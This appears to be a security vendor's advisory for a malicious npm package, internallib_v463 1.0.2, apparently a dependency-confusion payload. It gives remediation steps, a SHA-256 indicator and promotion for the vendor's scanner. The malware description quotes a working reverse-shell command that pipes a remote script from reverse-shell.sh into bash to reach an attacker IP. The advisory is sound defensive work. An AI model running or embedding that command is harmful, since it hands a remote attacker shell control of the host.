Which versions of internallib_v463 are malicious?

The following npm versions of internallib_v463 are flagged malicious: 1.0.2. Treat any of these as compromised.

How do I remediate internallib_v463 if I installed it?

Remove internallib_v463 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed internallib_v463 — how do I know if it already compromised me?

If internallib_v463 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is internallib_v463 part of a known attack campaign?

Yes — internallib_v463 is associated with the IN-MAL-2026-020496 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v463 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v463 (version 1.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v463 across your stack and pipelines.

Malicious package

internallib_v463npm

internallib_v463 is a confirmed malicious npm package (MAL-2026-16481) that executes malicious code on install (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v463 (npm)

MAL-2026-16481

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v463

What this malware does

index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a console.log("Primeiro PWN") string, consistent with hostile intent rather than a legitimate utility. The package name (internallib_v463) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

Malicious versions

1 flagged

1.0.2

Indicators of compromise (SHA-256)

0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v463 (version 1.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v463 across your stack and pipelines.
If you installed it — respond
Remove internallib_v463 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v463 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v463 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v463 on npm has been identified as a malicious package (version 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020496

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v463-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database